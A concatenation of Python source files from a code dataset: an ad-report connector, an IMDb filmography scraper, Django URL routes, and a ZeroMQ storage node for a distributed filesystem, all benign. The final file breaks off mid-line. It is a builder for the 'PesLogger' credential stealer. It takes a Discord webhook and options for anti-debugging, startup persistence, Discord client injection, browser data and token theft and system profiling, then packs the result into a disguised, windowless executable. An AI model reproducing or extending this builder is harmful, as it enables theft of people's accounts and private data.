{"api_name": "responses.GET", "line_number": 69, "usage_type": "attribute"}, {"api_name": "responses.add", "line_number": 78, "usage_type": "call"}, {"api_name": "responses.GET", "line_number": 78, "usage_type": "attribute"}, {"api_name": "fixtures.EnvironmentVariable", "line_number": 83, "usage_type": "call"}, {"api_name": "fixtures.EnvironmentVariable", "line_number": 85, "usage_type": "call"}, {"api_name": "fixtures.EnvironmentVariable", "line_number": 87, "usage_type": "call"}, {"api_name": "fixtures.EnvironmentVariable", "line_number": 89, "usage_type": "call"}, {"api_name": "fixtures.EnvironmentVariable", "line_number": 91, "usage_type": "call"}, {"api_name": "fixtures.MockPatchObject", "line_number": 94, "usage_type": "call"}, {"api_name": "ims_load_artifacts.loaders", "line_number": 95, "usage_type": "argument"}, {"api_name": "ims_load_artifacts.load_artifacts.main", "line_number": 100, "usage_type": "call"}, {"api_name": "ims_load_artifacts.load_artifacts", "line_number": 100, "usage_type": "name"}, {"api_name": "responses.activate", "line_number": 50, "usage_type": "attribute"}, {"api_name": "mock.patch", "line_number": 51, "usage_type": "call"}, {"api_name": "ims_load_artifacts.load_artifacts.__name__", "line_number": 51, "usage_type": "attribute"}, {"api_name": "ims_load_artifacts.load_artifacts", "line_number": 51, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 52, "usage_type": "call"}, {"api_name": "mock.mock_open", "line_number": 52, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 149, "usage_type": "call"}]} +{"seq_id": "38301650609", "text": "import logging\nfrom connectors.Connector import Connector\nfrom databases.MongoDB.MongoDB import MongoDB\nfrom databases.SQLServer.SQLServer import SQLServer\nfrom googleAdServer.ReportNoVideo import ReportNoVideo\nfrom googleAdServer.ReportVideo import ReportVideo\nfrom googleAdServer.ReportInventarioDispoVsImpresiones import ReportInventarioDispoVsImpresiones\nfrom googleAdServer.ReportInventarioEntregado import ReportInventarioEntregado\nfrom googleAdServer.ReportInventarioSolicitado import ReportInventarioSolicitado\nfrom googleAdServer.ReportIngresos import ReportIngresos\n\nclass ConnectorGoogleAd(Connector):\n\tdef __init__(self):\n\t\t# super().__init__(name)\n\t\tself.mongo = MongoDB()\n\t\tself.sql = SQLServer()\n\t\n\tdef execute(self):\n\n\t\ttry:\n\t\t\tlogging.info('dimensionsNoVideo')\n\t\t\tfirstReport = ReportNoVideo()\n\t\t\tfirstReport.run()\n\t\t\t#self.mongo.upsertDF(firstReport.asRawDF(),'RAWDATA', 'GoogleAdServer')\n\t\t\tself.sql.upsert(firstReport.asSQLDF(), 'DFP_Impresiones')\n\t\texcept Exception as e:\n\t\t\tlogging.error('Error: Report No Video',exc_info=True)\n\t\ttry:\n\t\t\tlogging.info('dimensionsVideo')\n\t\t\tsecondReport = ReportVideo()\n\t\t\tsecondReport.run()\n\t\t\t#self.mongo.upsertDF(secondReport.asRawDF(),'RAWDATA', 'GoogleAdServer')\n\t\t\tself.sql.upsert(secondReport.asSQLDF(), 'DFP_Impresiones_videos')\n\t\texcept Exception as e:\n\t\t\tlogging.error('Error: Report Video', exc_info=True)\n\t\t# try:\n\t\t# \tlogging.info('dimensionsInventarioImpresiones')\n\t\t# \tthirdReport = ReportInventarioDispoVsImpresiones()\n\t\t# \tthirdReport.run()\n\t\t# \tself.mongo.upsertDF(thirdReport.asRawDF(), 'RAWDATA', 'GoogleAdServer')\n\t\t# \tself.sql.upsert(thirdReport.asSQLDF(), 'DFP_InventarioImpresiones')\n\t\t# except Exception as e:\n\t\t# \tlogging.error('Error: Report Inventario Impresiones', exc_info=True)\n\t\ttry:\n\t\t\tlogging.info('dimensionsInventarioEntregado')\n\t\t\tfourthReport = ReportInventarioEntregado()\n\t\t\tfourthReport.run()\n\t\t\t#self.mongo.upsertDF(fourthReport.asRawDF(), 'RAWDATA', 'GoogleAdServer')\n\t\t\tself.sql.upsert(fourthReport.asSQLDF(), 'DFP_InventarioEntregado_teste')\n\t\texcept Exception as e:\n\t\t\tlogging.error('Error: Report Inventario Entregado', exc_info=True)\n\t\ttry:\n\t\t\tlogging.info('dimensionsInventarioSolicitado')\n\t\t\tfifthReport = ReportInventarioSolicitado()\n\t\t\tfifthReport.run()\n\t\t\t#self.mongo.upsertDF(fifthReport.asRawDF(), 'RAWDATA', 'GoogleAdServer')\n\t\t\tself.sql.upsert(fifthReport.asSQLDF(), 'DFP_InventarioSolicitado')\n\t\texcept Exception as e:\n\t\t\t\tlogging.error('Error: Report Inventario Solicitado', exc_info=True)\n\t\ttry:\n\t\t\tlogging.info('dimensionsIngresos')\n\t\t\tsixthReport = ReportIngresos()\n\t\t\tsixthReport.run()\n\t\t\t#self.mongo.upsertDF(sixthReport.asRawDF(), 'RAWDATA', 'GoogleAdServer')\n\t\t\tself.sql.upsert(sixthReport.asSQLDF(), 'DFP_Ingresos')\n\t\texcept Exception as e:\n\t\t\t\tlogging.error('Error: Report Ingresos', exc_info=True)", "repo_name": "gabbo3/analitica", "sub_path": "googleAdServer/ConnectorGoogleAd.py", "file_name": "ConnectorGoogleAd.py", "file_ext": "py", "file_size_in_byte": 2819, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "connectors.Connector.Connector", "line_number": 12, "usage_type": "name"}, {"api_name": "databases.MongoDB.MongoDB.MongoDB", "line_number": 15, "usage_type": "call"}, {"api_name": "databases.SQLServer.SQLServer.SQLServer", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 21, "usage_type": "call"}, {"api_name": "googleAdServer.ReportNoVideo.ReportNoVideo", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 29, "usage_type": "call"}, {"api_name": "googleAdServer.ReportVideo.ReportVideo", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 35, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 45, "usage_type": "call"}, {"api_name": "googleAdServer.ReportInventarioEntregado.ReportInventarioEntregado", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 53, "usage_type": "call"}, {"api_name": "googleAdServer.ReportInventarioSolicitado.ReportInventarioSolicitado", "line_number": 54, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 59, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 61, "usage_type": "call"}, {"api_name": "googleAdServer.ReportIngresos.ReportIngresos", "line_number": 62, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "72681006039", "text": "import html.parser\nimport json\nimport requests\n\nfrom . import models\n\nclass IMDbFilmographyParser(html.parser.HTMLParser):\n \"\"\"\n This class scrapes IMDb actor pages for their filmography. IMDb's HTML is\n extermely non-compliant, so this is anticipated to be fragile. We use a\n state machine to keep track of where we are and try not to get tangled.\n \"\"\"\n def __init__(self):\n \"\"\"\n Initialize the filmography parser.\n \"\"\"\n super().__init__()\n\n # 0 - outside film, 1 - inside film, 2 - year, 3 - title, 4 - role\n self.state = 0\n\n # parsed filmography\n self.filmography = []\n\n # current film details\n self.year = \"\"\n self.work = \"\"\n self.role = \"\"\n\n def handle_starttag(self, tag, attrs):\n # inside film -> title\n if self.state == 1 and tag == \"b\":\n self.state = 3\n\n # role -> inside film\n elif self.state == 4 and tag == \"div\":\n self.state = 1\n\n elif self.state in (0, 1):\n attributes = dict(attrs)\n\n if \"class\" in attributes:\n classes = attributes[\"class\"].split()\n actor_role = \"id\" in attributes and attributes[\"id\"].startswith(\"act\")\n\n # outside film -> inside film\n if self.state == 0 and \"filmo-row\" in classes and actor_role:\n self.state = 1\n\n # inside film -> year\n elif self.state == 1 and \"year_column\" in classes:\n self.state = 2\n\n def handle_endtag(self, tag):\n # inside film or role -> outside film\n if self.state in (1, 4) and tag == \"div\":\n role = models.Role(self.work.strip(),\n self.year.strip(),\n self.role.strip())\n\n self.filmography.append(role)\n\n self.state = 0\n self.year = \"\"\n self.work = \"\"\n self.role = \"\"\n\n # inside film -> role\n elif self.state == 1 and tag == \"br\":\n self.state = 4\n\n # year -> inside film\n elif self.state == 2 and tag == \"span\":\n self.state = 1\n\n # title -> inside film\n elif self.state == 3 and tag == \"b\":\n self.state = 1\n\n def handle_data(self, data):\n # collect year\n if self.state == 2:\n self.year += data\n\n # collect title\n elif self.state == 3:\n self.work += data\n\n # collect role\n elif self.state == 4:\n self.role += data\n\nclass IMDb:\n \"\"\"\n An interface to the IMDb Suggestions API and scraping of Actor pages.\n \"\"\"\n suggestions_endpoint = \"https://v2.sg.media-imdb.com/suggestion/\"\n actor_endpoint = \"https://www.imdb.com/name/\"\n\n @staticmethod\n def actors(name):\n \"\"\"\n Search for actors by name.\n\n :param name: The name.\n :returns: A list of potential Actor objects.\n \"\"\"\n safe_name = name.lower().replace(\" \", \"_\")\n\n url = f\"{IMDb.suggestions_endpoint}names/{safe_name[0]}/{safe_name}.json\"\n\n response = requests.get(url)\n\n if response:\n payload = json.loads(response.text)\n\n try:\n return list(map(models.Actor.from_imdb_suggestion, payload[\"d\"]))\n except:\n raise RuntimeError(\"Parsing IMDB results failed.\")\n\n raise RuntimeError(\"Fetching IMDB results failed.\")\n\n @staticmethod\n def actor(identifier):\n \"\"\"\n Lookup an actor's filmography by IMDb identifier.\n\n :param identifier: The actor's IMDb identifier.\n :returns: A list of Role objects.\n \"\"\"\n url = f\"{IMDb.actor_endpoint}{identifier}/\"\n\n response = requests.get(url)\n\n parser = IMDbFilmographyParser()\n parser.feed(response.text)\n\n return parser.filmography\n", "repo_name": "bardiharborow/imdb-cli", "sub_path": "imdb/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 3909, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "html.parser.parser", "line_number": 7, "usage_type": "attribute"}, {"api_name": "html.parser", "line_number": 7, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 112, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 115, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 134, "usage_type": "call"}]} +{"seq_id": "1855903152", "text": "# _*_ coding: utf-8 _*_\n__date__ = '2018/5/14 下午3:37'\n\nfrom django.conf.urls import url\n\nfrom .views import UserinfoView, UploadImageView, UpdatePwdView, SendEmailCodeView, UpdateEmailView, MyFavVideoView, \\\n MymessageView\n\nurlpatterns = [\n # 用户信息\n url(r'^info/$', UserinfoView.as_view(), name=\"user_info\"),\n # 用户头像上传\n url(r'^image/upload/$', UploadImageView.as_view(), name=\"image_upload\"),\n # 用户中心修改密码\n url(r'^update/pwd/$', UpdatePwdView.as_view(), name=\"update_pwd\"),\n # 发送邮箱验证码\n url(r'^sendemail_code/$', SendEmailCodeView.as_view(), name=\"sendemail_code\"),\n # 修改邮箱\n url(r'^update_email/$', UpdateEmailView.as_view(), name=\"update_email\"),\n # 我的收藏\n url(r'^myfav/$', MyFavVideoView.as_view(), name=\"myfav\"),\n # 我的消息\n url(r'^mymessage/$', MymessageView.as_view(), name=\"mymessage\"),\n]", "repo_name": "ZeeTee/VideoWebsite", "sub_path": "apps/users/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 910, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "views.UserinfoView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.UserinfoView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "views.UploadImageView.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "views.UploadImageView", "line_number": 13, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "views.UpdatePwdView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "views.UpdatePwdView", "line_number": 15, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "views.SendEmailCodeView.as_view", "line_number": 17, "usage_type": "call"}, {"api_name": "views.SendEmailCodeView", "line_number": 17, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "views.UpdateEmailView.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "views.UpdateEmailView", "line_number": 19, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "views.MyFavVideoView.as_view", "line_number": 21, "usage_type": "call"}, {"api_name": "views.MyFavVideoView", "line_number": 21, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "views.MymessageView.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "views.MymessageView", "line_number": 23, "usage_type": "name"}]} +{"seq_id": "19350285877", "text": "import zmq\nimport netifaces\nimport os\nimport json\nimport socket\nimport pickle\nimport time\nimport random\n\nDB_DIR = os.path.join(os.path.dirname(os.path.realpath(__file__)), socket.gethostname())\n\nCONSTS_FILE_PATH = \"./consts.json\"\n\nERROR_CODE = {\n \"SIGN_IN_FAILED\": -1,\n \"SIGN_OUT_FAILED\": -2,\n \"OPERATION_CODE_ERROR\": -3\n}\n\ndef get_main_interface_ip():\n \"\"\"\n Simple function to retrieve the \"main\" interface of a machine.\n This is used to index the Storage Nodes in the Metadata Server\n \"\"\"\n interfaces = netifaces.interfaces()\n for interface in interfaces:\n if interface == \"lo\":\n continue\n addrs = netifaces.ifaddresses(interface)\n if netifaces.AF_INET in addrs:\n return addrs[netifaces.AF_INET][0][\"addr\"]\n\ndef sign_in_metadata_server():\n \"\"\"\n Function to contain the sequence required to sign in in a metadata server.\n Used every time the Storage Node starts.\n \"\"\"\n global context, CONSTS\n\n MS_IPV4 = CONSTS['metadata-server']['ipv4']\n MS_PORT = CONSTS['metadata-server']['port']\n\n STORAGE_NODE_SIGN_IN_REQ = CONSTS['operation-codes']['STORAGE_NODE_SIGN_IN_REQ']\n STORAGE_NODE_SIGN_IN_RES = CONSTS['operation-codes']['STORAGE_NODE_SIGN_IN_RES']\n\n ms_sock = context.socket(zmq.REQ)\n ms_sock.connect(f\"tcp://{MS_IPV4}:{MS_PORT}\")\n\n sign_in_req = {\n \"code\": STORAGE_NODE_SIGN_IN_REQ,\n \"ipv4\": get_main_interface_ip(),\n \"file-list\": set(os.listdir(DB_DIR))\n }\n ms_sock.send(pickle.dumps(sign_in_req))\n \n # Wait for reply from server with confirmation\n operation_res = pickle.loads(ms_sock.recv())\n\n if operation_res['code'] != STORAGE_NODE_SIGN_IN_RES:\n print(\"Expected sign in response from server, but got something else\", flush=True)\n exit(ERROR_CODE[\"OPERATION_CODE_ERROR\"])\n\n if operation_res['status'] != \"OK\":\n print(\"Sign in failed\", flush=True)\n exit(ERROR_CODE[\"SIGN_IN_FAILED\"])\n\n ms_sock.close()\n\ndef sign_out_metadata_server():\n \"\"\"\n Function to contain the sequence required to sign out in a metadata server.\n Used every time the Storage Node stops.\n \"\"\"\n global context, CONSTS\n\n MS_IPV4 = CONSTS['metadata-server']['ipv4']\n MS_PORT = CONSTS['metadata-server']['port']\n\n STORAGE_NODE_SIGN_OUT_REQ = CONSTS['operation-codes']['STORAGE_NODE_SIGN_OUT_REQ']\n STORAGE_NODE_SIGN_OUT_RES = CONSTS['operation-codes']['STORAGE_NODE_SIGN_OUT_RES']\n\n ms_sock = context.socket(zmq.REQ)\n ms_sock.connect(f\"tcp://{MS_IPV4}:{MS_PORT}\")\n\n sign_out_req = {\n \"code\": STORAGE_NODE_SIGN_OUT_REQ,\n \"ipv4\": get_main_interface_ip()\n }\n ms_sock.send(pickle.dumps(sign_out_req))\n \n # Wait for reply from server with confirmation\n operation_res = pickle.loads(ms_sock.recv())\n\n if operation_res['code'] != STORAGE_NODE_SIGN_OUT_RES:\n print(\"Expected sign out response from server, but got something else\", flush=True)\n exit(ERROR_CODE[\"OPERATION_CODE_ERROR\"])\n\n if operation_res['status'] != \"OK\":\n print(\"Sign out failed\", flush=True)\n exit(ERROR_CODE[\"SIGN_OUT_FAILED\"])\n\n ms_sock.close()\n\ndef update_metadata_server():\n \"\"\"\n Function to contain the sequence required to update the metadata server.\n Used every time the Storage Node is required to store a new file or remove an existing one.\n \"\"\"\n global context, CONSTS\n\n MS_IPV4 = CONSTS['metadata-server']['ipv4']\n MS_PORT = CONSTS['metadata-server']['port']\n\n UPDATE_NODE_FILE_LIST_REQ = CONSTS['operation-codes']['UPDATE_NODE_FILE_LIST_REQ']\n UPDATE_NODE_FILE_LIST_RES = CONSTS['operation-codes']['UPDATE_NODE_FILE_LIST_RES']\n\n ms_sock = context.socket(zmq.REQ)\n ms_sock.connect(f\"tcp://{MS_IPV4}:{MS_PORT}\")\n\n update_req = {\n \"code\": UPDATE_NODE_FILE_LIST_REQ,\n \"ipv4\": get_main_interface_ip(),\n \"file-list\": set(os.listdir(DB_DIR))\n }\n\n ms_sock.send(pickle.dumps(update_req))\n\n # Wait for reply from server with confirmation\n operation_res = pickle.loads(ms_sock.recv())\n\n if operation_res['code'] != UPDATE_NODE_FILE_LIST_RES:\n print(\"Expected update response from server, but got something else\", flush=True)\n exit(ERROR_CODE[\"OPERATION_CODE_ERROR\"])\n\n if operation_res['status'] != \"OK\":\n print(\"Update failed\", flush=True)\n exit(ERROR_CODE[\"UPDATE_FAILED\"])\n\n ms_sock.close()\n\n\n\ndef main():\n global context, CONSTS\n\n # Setup database directory\n if not os.path.exists(DB_DIR):\n os.makedirs(DB_DIR)\n\n # Setup zmq context\n context = zmq.Context()\n\n CONSTS = json.load(open(CONSTS_FILE_PATH, \"r\"))\n\n UPLOAD_FILE_REQ = CONSTS['operation-codes']['UPLOAD_FILE_REQ']\n DOWNLOAD_FILE_REQ = CONSTS['operation-codes']['DOWNLOAD_FILE_REQ']\n HEARTBEAT_REQ = CONSTS['operation-codes']['HEARTBEAT_REQ']\n REMOVE_FILE_REQ = CONSTS['operation-codes']['REMOVE_FILE_REQ']\n CAT_FILE_REQ = CONSTS['operation-codes']['CAT_FILE_REQ']\n\n # Register itself in the Metadata Server\n sign_in_metadata_server()\n\n SN_IPV4 = get_main_interface_ip()\n SN_PORT = CONSTS['storage-nodes']['port']\n\n sock = context.socket(zmq.REP)\n sock.bind(f\"tcp://{SN_IPV4}:{SN_PORT}\")\n\n while True:\n\n operation_req = pickle.loads(sock.recv())\n \n # Loggin about the received request\n source = operation_req['ipv4'] if 'ipv4' in operation_req else 'Client App'\n print(f\"\"\"\n == Storage Node - Received Request ==\n Code: {operation_req['code']}\n Source: {source}\n \"\"\", flush=True)\n\n # Handler of a upload command\n if operation_req['code'] == UPLOAD_FILE_REQ:\n file_name = operation_req['file-name']\n file_path = os.path.join(DB_DIR, file_name)\n\n if os.path.exists(file_path):\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"FILE EXISTS\"\n }\n sock.send(pickle.dumps(operation_res))\n continue\n\n with open(file_path, \"wb\") as file:\n file.write(operation_req['file-content'])\n\n update_metadata_server()\n\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"OK\"\n }\n sock.send(pickle.dumps(operation_res))\n\n # Handler of a download command\n elif operation_req['code'] == DOWNLOAD_FILE_REQ:\n file_name = operation_req['file-name']\n file_path = os.path.join(DB_DIR, file_name)\n\n if not os.path.exists(file_path):\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"FILE NOT FOUND\"\n }\n sock.send(pickle.dumps(operation_res))\n continue\n\n with open(file_path, \"rb\") as file:\n file_content = file.read()\n\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"OK\",\n \"file-content\": file_content\n }\n sock.send(pickle.dumps(operation_res))\n\n # Handler of a simple heartbeat check from the Metadata Server\n elif operation_req['code'] == HEARTBEAT_REQ:\n operation_res = {\n \"code\": operation_req['code'],\n \"file-list\": os.listdir(DB_DIR),\n \"status\": \"OK\"\n }\n sock.send(pickle.dumps(operation_res))\n\n # Handler of a remove command\n elif operation_req['code'] == REMOVE_FILE_REQ:\n file_name = operation_req['file-name']\n file_path = os.path.join(DB_DIR, file_name)\n\n if not os.path.exists(file_path):\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"FILE NOT FOUND\"\n }\n sock.send(pickle.dumps(operation_res))\n continue\n\n os.remove(file_path)\n\n update_metadata_server()\n\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"OK\"\n }\n sock.send(pickle.dumps(operation_res))\n\n # Handler of a cat command. Sends the content of the file to the client\n elif operation_req['code'] == CAT_FILE_REQ:\n file_name = operation_req['file-name']\n file_path = os.path.join(DB_DIR, file_name)\n\n if not os.path.exists(file_path):\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"FILE NOT FOUND\"\n }\n sock.send(pickle.dumps(operation_res))\n continue\n\n with open(file_path, \"rb\") as file:\n file_content = file.read()\n\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"OK\",\n \"file-content\": file_content\n }\n sock.send(pickle.dumps(operation_res))\n\n # Handler of a unknown command\n else:\n operation_res = {\n \"code\": operation_req['code'],\n \"status\": \"ERROR\"\n }\n sock.send(pickle.dumps(operation_res))\n\n\n sign_out_metadata_server()\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "joaofavoretti/Simple-Distributed-Filesystem", "sub_path": "storage-node/storage_node.py", "file_name": "storage_node.py", "file_ext": "py", "file_size_in_byte": 9371, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 10, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 10, "usage_type": "call"}, {"api_name": "netifaces.interfaces", "line_number": 25, "usage_type": "call"}, {"api_name": "netifaces.ifaddresses", "line_number": 29, "usage_type": "call"}, {"api_name": "netifaces.AF_INET", "line_number": 30, "usage_type": "attribute"}, {"api_name": "netifaces.AF_INET", "line_number": 31, "usage_type": "attribute"}, {"api_name": "zmq.REQ", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 52, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 54, "usage_type": "call"}, {"api_name": "pickle.loads", "line_number": 57, "usage_type": "call"}, {"api_name": "zmq.REQ", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pickle.dumps", "line_number": 89, "usage_type": "call"}, {"api_name": "pickle.loads", "line_number": 92, "usage_type": "call"}, {"api_name": "zmq.REQ", "line_number": 117, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 123, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 126, "usage_type": "call"}, {"api_name": "pickle.loads", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 148, "usage_type": "call"}, {"api_name": "zmq.Context", "line_number": 151, "usage_type": "call"}, {"api_name": "json.load", "line_number": 153, "usage_type": "call"}, {"api_name": "zmq.REP", "line_number": 167, "usage_type": "attribute"}, {"api_name": "pickle.loads", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 187, "usage_type": "call"}, {"api_name": "os.path", "line_number": 187, "usage_type": "attribute"}, {"api_name": "pickle.dumps", "line_number": 192, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 204, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 209, "usage_type": "call"}, {"api_name": "os.path", "line_number": 209, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path", "line_number": 211, "usage_type": "attribute"}, {"api_name": "pickle.dumps", "line_number": 216, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 227, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 233, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 236, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path", "line_number": 241, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 243, "usage_type": "call"}, {"api_name": "os.path", "line_number": 243, "usage_type": "attribute"}, {"api_name": "pickle.dumps", "line_number": 248, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 251, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path", "line_number": 264, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path", "line_number": 266, "usage_type": "attribute"}, {"api_name": "pickle.dumps", "line_number": 271, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 282, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 290, "usage_type": "call"}]} +{"seq_id": "74713519956", "text": "import base64\r\nimport requests\r\nimport shutil\r\nimport subprocess\r\nimport os\r\n\r\n__BANNER__ = \"\"\"\r\n _______ ______ \r\n |_ __ \\ .' ___ | \r\n | |__) |.---. .--. / .' \\_| ,--. _ .--. .--./) \r\n | ___// /__\\\\( (`\\] | | ____ `'_\\ : [ `.-. | / /'`\\; \r\n _| |_ | \\__., `'.'. \\ `.___] |// | |, | | | | \\ \\._// \r\n |_____| '.__.'[\\__) ) `._____.' \\'-;__/[___||__].',__` \r\n ( ( __)) \r\n discord.gg/wojak\r\n\"\"\"\r\n__UPX__ = requests.get(\"https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip\",\r\n allow_redirects=True)\r\n__PYINSTALLER__ = requests.get(\"https://github.com/pyinstaller/pyinstaller/archive/refs/tags/v5.1.zip\",\r\n allow_redirects=True)\r\n__BUILDENV__ = \"./buildenv\"\r\nos.makedirs(__BUILDENV__, exist_ok=True)\r\n\r\n\r\ndef main() -> None:\r\n print(__BANNER__)\r\n\r\n webhook = input(\"{:<27}: \".format(\"Discord Webhook?\"))\r\n use_error_message = input(\"{:<27}: \".format(\"Use Error Message? (y/n)\"))\r\n if use_error_message.lower() == \"y\":\r\n error_message = input(\"{:<27}: \".format(\"Error Message?\"))\r\n use_debug = input(\"{:<27}: \".format(\"Anti Debug? (y/n)\"))\r\n use_startup = input(\"{:<27}: \".format(\"Startup? (y/n)\"))\r\n use_injection = input(\"{:<27}: \".format(\"Discord Injection? (y/n)\"))\r\n use_chromium = input(\"{:<27}: \".format(\"Browser Data? (y/n)\"))\r\n use_discord = input(\"{:<27}: \".format(\"Discord Tokens? (y/n)\"))\r\n use_sysinfo = input(\"{:<27}: \".format(\"System Info? (y/n)\"))\r\n exe_icon = input(\"{:<27}: \".format(\"Icon? (y/n)\"))\r\n if exe_icon.lower() == \"y\":\r\n icon = input(\"{:<27}: \".format(\"Icon Path? (drag and drop .ico file)\"))\r\n if not icon.endswith(\".ico\") or not os.path.exists(icon):\r\n print(\"[-] Invalid Icon\")\r\n exit()\r\n \r\n shutil.copytree(\"./src\", f\"{__BUILDENV__}/src\")\r\n\r\n with open(file=f\"{__BUILDENV__}/src/main.py\", mode=\"r\") as f:\r\n content = f.read()\r\n\r\n content = content.replace(\"&WEBHOOK_URL_ENC&\", base64.b64encode(webhook.encode(\"utf-8\")).decode(\"utf-8\"))\r\n if use_error_message.lower() == \"y\":\r\n content = content.replace(\"&ERROR_MESSAGE_ENC&\", base64.b64encode(error_message.encode(\"utf-8\")).decode(\"utf-8\"))\r\n content = content.replace(\"__USE_ERROR_MESSAGE__ = False\", \"__USE_ERROR_MESSAGE__ = True\")\r\n \r\n else:\r\n content = content.replace(\"&ERROR_MESSAGE_ENC&\", base64.b64encode('NOERRORMESSAGE'.encode(\"utf-8\")).decode(\"utf-8\"))\r\n\r\n if use_debug.lower() == \"y\":\r\n content = content.replace(\"# debug\", \"debug\")\r\n if use_startup.lower() == \"y\":\r\n content = content.replace(\"# startup\", \"startup\")\r\n if use_injection.lower() == \"y\":\r\n content = content.replace(\"# injection\", \"injection\")\r\n if use_chromium.lower() == \"y\":\r\n content = content.replace(\"# chromium\", \"chromium\")\r\n if use_discord.lower() == \"y\":\r\n content = content.replace(\"# discord\", \"discord\")\r\n if use_sysinfo.lower() == \"y\":\r\n content = content.replace(\"# sysinfo\", \"sysinfo\")\r\n \r\n with open(file=f\"{__BUILDENV__}/src/main.py\", mode=\"w\") as f:\r\n f.write(content)\r\n\r\n install_pyinstaller()\r\n install_upx()\r\n\r\n subprocess.run(\r\n f'cd {__BUILDENV__} && py -3.10 -m PyInstaller --onefile --noconsole --upx-dir upx/{os.listdir(f\"{__BUILDENV__}/upx\")[0]} --icon {icon if exe_icon.lower() == \"y\" else \"NONE\"} --distpath ../ --key PesLogger --name built ./src/main.py', shell=True)\r\n\r\n shutil.rmtree(__BUILDENV__)\r\n\r\n\r\ndef install_pyinstaller():\r\n with open(file=f\"{__BUILDENV__}\\\\pyinstaller.zip\", mode=\"wb\") as f:\r\n f.write(__PYINSTALLER__.content)\r\n\r\n shutil.unpack_archive(\r\n f\"{__BUILDENV__}\\\\pyinstaller.zip\", f\"{__BUILDENV__}\\\\pyinstaller\")\r\n\r\n os.remove(f\"{__BUILDENV__}\\\\pyinstaller.zip\")\r\n\r\n subprocess.run('pip uninstall -y 